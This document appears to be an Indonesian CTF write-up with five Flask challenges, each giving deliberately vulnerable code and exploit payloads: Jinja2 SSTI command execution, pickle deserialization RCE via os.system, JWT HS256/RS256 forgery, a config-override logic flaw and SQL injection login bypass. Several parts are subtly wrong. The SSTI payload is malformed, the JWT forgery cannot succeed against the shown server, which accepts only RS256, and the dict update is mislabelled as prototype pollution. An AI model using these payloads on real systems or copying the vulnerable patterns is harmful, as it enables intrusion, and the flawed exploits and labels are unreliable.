CTF TINGKAT LANJUT – WEB EXPLOITATION (PYTHON)

SOAL 1 – Advanced SSTI (Server Side Template Injection)

SSTI dalam CTF adalah teknik eksploitasi template engine server untuk mendapatkan akses file atau sistem dan membaca flag.

Deskripsi Challenge

Sebuah aplikasi menggunakan framework **Flask**.

```
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "Guest")
    template = f"Hello {name}"
    return render_template_string(template)

if __name__ == "__main__":
    app.run()
```

Flag berada di file:

```
/flag.txt
```

Tugas: Dapatkan isi /flag.txt

Analisis

Aplikasi rentan **SSTI** karena input langsung dirender menggunakan *render_template_string()*. Flask menggunakan engine **Jinja2**.

Payload Exploit

Enumerasi object:

```
{{ config }}
```

Akses Python object:

```
{{ ".__class__.__mro__[1].__subclasses__() }}
```

Cari class Popen → jalankan command:

{{ ".__class__.__mro__[1].__subclasses__()[<index>]

('cat /flag.txt', shell=True, stdout=-1).communicate() }}

Hasil

Flag berhasil dibaca dari server.

SOAL 2 – Deserialization Attack (Pickle RCE)

Deskripsi Challenge

```
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route("/load", methods=["POST"])
def load():
    data = request.form['data']
    obj = pickle.loads(bytes.fromhex(data))
    return "Loaded"

app.run()
```

Tugas: Eksekusi command di server.

Analisis

Python pickle.loads() sangat berbahaya karena bisa menjalankan kode saat deserialisasi.

Exploit Payload

```
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat flag.txt',))
```

```
payload = pickle.dumps(Exploit())
print(payload.hex())
```

Kirim hasil hex ke parameter data.

Hasil

Server mengeksekusi command.

SOAL 3 – JWT Forgery (HS256 → RS256 Confusion)

Deskripsi Challenge

```
import jwt
from flask import Flask, request

app = Flask(__name__)
public_key = open("public.pem").read()

@app.route("/admin")
def admin():
    token = request.headers.get("Authorization")
    try:
        data = jwt.decode(token, public_key, algorithms=["RS256"])
        if data["role"] == "admin":
            return open("flag.txt").read()
    except:
        return "Invalid token"
```

Tugas: Login sebagai admin.

Analisis

Serangan **Algorithm Confusion**:

- Server pakai RS256
- Bisa ubah jadi HS256
- Gunakan public key sebagai HMAC secret

Exploit

```
import jwt

public_key = open("public.pem").read()

token = jwt.encode(
    {"role": "admin"},
    public_key,
    algorithm="HS256"
)

print(token)
```

Hasil

Flag ditampilkan.

SOAL 4 – Python Prototype Pollution via JSON

Deskripsi Challenge

```
from flask import Flask, request
import json

app = Flask(__name__)

config = {"debug": False}

@app.route("/update", methods=["POST"])
def update():
    global config
    data = json.loads(request.data)
    config.update(data)
    return str(config)

@app.route("/admin")
```

```
def admin():
    if config.get("is_admin"):
        return open("flag.txt").read()
    return "Forbidden"
```

Tugas: Jadi admin.

Analisis

config.update() memungkinkan override key.

Exploit

Kirim:

```
{
  "is_admin": true
}
```

Kemudian akses /admin.

Hasil

Flag muncul.

SOAL 5 – Blind SQL Injection (Advanced)

Deskripsi Challenge

```
import sqlite3
from flask import Flask, request

app = Flask(__name__)
conn = sqlite3.connect("users.db", check_same_thread=False)

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]

    query = f"SELECT * FROM users WHERE username='{username}' AND
password='{password}'"
```

```
    result = conn.execute(query).fetchone()

    if result:
        return "Welcome admin"
    return "Invalid"
```

Tugas: Login tanpa mengetahui password.

Analisis

Query rentan SQLi.

Exploit Boolean Based

Username:

admin' --

Atau ekstraksi password via blind:

admin' AND substr(password,1,1)='a' --

Hasil

Login berhasil tanpa password.

Ringkasan Jenis Vulnerability

No	Jenis Serangan
1	SSTI (Jinja2 RCE)
2	Insecure Deserialization
3	JWT Algorithm Confusion
4	JSON Injection / Logic Flaw
5	Blind SQL Injection